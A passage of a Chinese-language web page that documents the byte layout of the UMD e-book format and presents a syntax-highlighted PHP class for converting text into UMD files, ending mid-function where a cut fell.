(1)<br />
接下来1个字节:&#8217;#'分隔符<br />
接下来2个字节数据类型:0XF1 0X00<br />
接下来2个字节:0X00 0X15<br />
接下来16个字节空数据<br />
(2)<br />
接下来1个字节:&#8217;#'分隔符<br />
接下来2个字节数据类型:0X0A 0X00<br />
接下来2个字节:0X00 0X09<br />
接下来4个字节:随机数<br />
40.接下来1个字节:&#8217;#'分隔符<br />
41.接下来2个字节:数据类型 0X81 0X00<br />
42.接下来2个字节:0X01 0X09<br />
43.接下来4个字节:随机数<br />
44.接下来1个字节:$<br />
45.接下来4个字节:随机数<br />
46.接下来4个字节: (页面数*4 + 9) = count<br />
47.接下来页面数*4个字节.<br />
48.接下来1个字节:&#8217;#'分隔符<br />
49.接下来2个字节:0X82 0X00数据类型//封面图<br />
50.接下来3个字节:0X01 0X0A 0X01<br />
51.接下来4个字节:随机数<br />
52.接下来1个字节:$<br />
53.接下来4个字节:随机数<br />
54.接下来4个字节:封面长度 + 9<br />
55.接下来封面长度个字节</p>
<p>56.接下来1个字节:&#8217;#'分隔符<br />
57.接下来2个字节:0X0C 0X00数据类型<br />
58.接下来2个字节:0X0C 0X00数据类型//结束吧!!!<br />
59.接下来2个字节:0X01 0X09<br />
60.接下来4个字节:整个文件长度//<br />
到此为此我们的UMD文件解析完成.
</p></blockquote>
<p><strong>php生成umd文件类源码：</strong></p>
<div class="hl-surround"><div class="hl-main"><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">/**<br />&nbsp;+------------------------------------------------------------------------------<br />&nbsp;* UMD编码,文本转umd文件,测试可用在支持umd的阅读器上<br />&nbsp;+------------------------------------------------------------------------------<br />&nbsp;*</span><span style="color: Blue;"> @HXPHP </span><span style="color: #ffa500;">Framwork <br />&nbsp;*</span><span style="color: Blue;"> @Author </span><span style="color: #ffa500;">ieliwb&nbsp; &nbsp; &lt;</span><span style="color: Blue;">ieliwb@gmail.com</span><span style="color: #ffa500;">&gt;<br />&nbsp;*</span><span style="color: Blue;"> @Copyright </span><span style="color: #ffa500;">(c)</span><span style="color: Blue;"> www.ieliwb.com</span><span style="color: #ffa500;"><br />&nbsp;+------------------------------------------------------------------------------<br />&nbsp;*/</span><span style="color: Gray;"><br /></span><span style="color: Green;">class</span><span style="color: Gray;"> </span><span style="color: Blue;">UMD</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: #00008b;">$bookinfo</span><span style="color: Gray;"> = </span><span style="color: Green;">array</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">(</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">id</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Maroon;">0</span><span style="color: Gray;">,<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">title</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp;=&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">umd book</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">author</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp;=&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">unknow</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">year</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">0</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">month</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp;=&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">0</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">day</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">0</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">sort</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">default</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">publisher</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> =&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">ChinaPub</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">seller</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp;=&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">DIY_GENERATED</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">cover</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp;=&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: #00008b;">$chapters</span><span style="color: Gray;"> = </span><span style="color: Green;">array</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: #00008b;">$chaptercount</span><span style="color: Gray;"> = </span><span style="color: Maroon;">0</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: #00008b;">$articlelen</span><span style="color: Gray;"> = </span><span style="color: Maroon;">0</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: #00008b;">$chaptitlelen</span><span style="color: Gray;"> = </span><span style="color: Maroon;">0</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: #00008b;">$charset</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">GBK</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: #00008b;">$handle</span><span style="color: Gray;">;<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">__construct</span><span style="color: Olive;">()</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">year</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: Blue;">date</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Y</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">month</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: Blue;">date</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">n</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">day</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: Blue;">date</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">j</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #ffa500;">/**<br />&nbsp;&nbsp; &nbsp; * 设置书籍编码<br />&nbsp;&nbsp; &nbsp; *<br />&nbsp;&nbsp; &nbsp; *</span><span style="color: Blue;"> @param </span><span style="color: #ffa500;">String $charset<br />&nbsp;&nbsp; &nbsp; */</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">setCharset</span><span style="color: Olive;">(</span><span style="color: #00008b;">$charset</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">charset</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$charset</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #ffa500;">/**<br />&nbsp;&nbsp; &nbsp; * 设置添加书籍头信息<br />&nbsp;&nbsp; &nbsp; *<br />&nbsp;&nbsp; &nbsp; *</span><span style="color: Blue;"> @param </span><span style="color: #ffa500;">Array $bookinfo<br />&nbsp;&nbsp; &nbsp; */</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">addBookInfo</span><span style="color: Olive;">(</span><span style="color: #00008b;">$bookinfo</span><span style="color: Gray;"> = </span><span style="color: Green;">array</span><span style="color: Olive;">())</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">foreach</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Gray;"> </span><span style="color: Green;">as</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;"> =&gt; </span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Green;">isset</span><span style="color: Olive;">(</span><span style="color: #00008b;">$bookinfo</span><span style="color: Olive;">[</span><span style="color: #00008b;">$key</span><span style="color: Olive;">]))</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #00008b;">$key</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$bookinfo</span><span style="color: Olive;">[</span><span style="color: #00008b;">$key</span><span style="color: Olive;">]</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">((</span><span style="color: #00008b;">$key</span><span style="color: Gray;"> != </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">id</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;"> &amp;&amp; </span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">charset</span><span style="color: Gray;"> != </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">UCS</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">))</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #00008b;">$key</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: Blue;">iconv</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">charset</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">UCS-2LE//IGNORE</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #00008b;">$key</span><span style="color: Olive;">])</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #ffa500;">/**<br />&nbsp;&nbsp; &nbsp; * 设置添加章节<br />&nbsp;&nbsp; &nbsp; *<br />&nbsp;&nbsp; &nbsp; *</span><span style="color: Blue;"> @param </span><span style="color: #ffa500;">String $c_title<br />&nbsp;&nbsp; &nbsp; *</span><span style="color: Blue;"> @param </span><span style="color: #ffa500;">String $c_content<br />&nbsp;&nbsp; &nbsp; */</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">addChapter</span><span style="color: Olive;">(</span><span style="color: #00008b;">$c_title</span><span style="color: Gray;">,</span><span style="color: #00008b;">$c_content</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Gray;"> </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">charset</span><span style="color: Gray;"> != </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">UCS</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$c_title</span><span style="color: Gray;"> = </span><span style="color: Blue;">iconv</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">charset</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">UCS-2LE//IGNORE</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: #00008b;">$c_title</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$c_content</span><span style="color: Gray;"> = </span><span style="color: Blue;">iconv</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">charset</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">UCS-2LE//IGNORE</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: Blue;">str_replace</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\r</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;">,</span><span style="color: #00008b;">$c_content</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">chapters</span><span style="color: Olive;">[</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">chaptercount</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: Green;">array</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">(</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">title</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> =&gt; </span><span style="color: #00008b;">$c_title</span><span style="color: Gray;">,<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">content</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> =&gt; </span><span style="color: #00008b;">$c_content</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;++</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">chaptercount</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">chaptitlelen</span><span style="color: Gray;"> += </span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$c_title</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">articlelen</span><span style="color: Gray;"> += </span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$c_content</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #ffa500;">/**<br />&nbsp;&nbsp; &nbsp; * 写入简介及其他相关信息<br />&nbsp;&nbsp; &nbsp; *<br />&nbsp;&nbsp; &nbsp; *</span><span style="color: Blue;"> @param </span><span style="color: #ffa500;">String $string<br />&nbsp;&nbsp; &nbsp; *</span><span style="color: Blue;"> @param </span><span style="color: #ffa500;">Int $node<br />&nbsp;&nbsp; &nbsp; *</span><span style="color: Blue;"> @return </span><span style="color: #ffa500;">String<br />&nbsp;&nbsp; &nbsp; */</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">makeInfo</span><span style="color: Olive;">(</span><span style="color: #00008b;">$string</span><span style="color: Gray;">,</span><span style="color: #00008b;">$node</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;">&nbsp; = </span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: Maroon;">35</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$node</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: Maroon;">0</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: Maroon;">0</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$string</span><span style="color: Olive;">)</span><span style="color: Gray;"> + </span><span style="color: Maroon;">5</span><span style="color: Gray;">,</span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$string</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$data</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #ffa500;">/**<br />&nbsp;&nbsp; &nbsp; * 十进制转十六进制<br />&nbsp;&nbsp; &nbsp; *<br />&nbsp;&nbsp; &nbsp; *</span><span style="color: Blue;"> @param </span><span style="color: #ffa500;">String $string<br />&nbsp;&nbsp; &nbsp; *</span><span style="color: Blue;"> @param </span><span style="color: #ffa500;">Int $length<br />&nbsp;&nbsp; &nbsp; *</span><span style="color: Blue;"> @return </span><span style="color: #ffa500;">String<br />&nbsp;&nbsp; &nbsp; */</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$string</span><span style="color: Gray;">,</span><span style="color: #00008b;">$length</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$length</span><span style="color: Gray;"> *= </span><span style="color: Maroon;">2</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$c_string</span><span style="color: Gray;"> = </span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: Blue;">sprintf</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">%0</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">.</span><span style="color: #00008b;">$length</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">s</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: Blue;">dechex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$string</span><span style="color: Olive;">))</span><span style="color: Gray;">,</span><span style="color: Maroon;">0</span><span style="color: Gray;"> - </span><span style="color: #00008b;">$length</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;"> = </span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;"> &lt; </span><span style="color: #00008b;">$length</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;"> += </span><span style="color: Maroon;">2</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> = </span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: Blue;">hexdec</span><span style="color: Olive;">(</span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$c_string</span><span style="color: Gray;">,</span><span style="color: #00008b;">$i</span><span style="color: Gray;">,</span><span style="color: Maroon;">2</span><span style="color: Olive;">)))</span><span style="color: Gray;">.</span><span style="color: #00008b;">$data</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$data</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #ffa500;">/**<br />&nbsp;&nbsp; &nbsp; * 写入章节偏移量<br />&nbsp;&nbsp; &nbsp; *<br />&nbsp;&nbsp; &nbsp; *</span><span style="color: Blue;"> @param </span><span style="color: #ffa500;">Int $fontSize<br />&nbsp;&nbsp; &nbsp; *</span><span style="color: Blue;"> @param </span><span style="color: #ffa500;">Int $screenWidth<br />&nbsp;&nbsp; &nbsp; *</span><span style="color: Blue;"> @param </span><span style="color: #ffa500;">Int $PID<br />&nbsp;&nbsp; &nbsp; */</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">writePageOffset</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fontSize</span><span style="color: Gray;">,</span><span style="color: #00008b;">$screenWidth</span><span style="color: Gray;">,</span><span style="color: #00008b;">$PID</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$h</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">(</span><span style="color: Maroon;">28672</span><span style="color: Gray;">,</span><span style="color: Maroon;">32767</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$content_len</span><span style="color: Gray;"> = </span><span style="color: 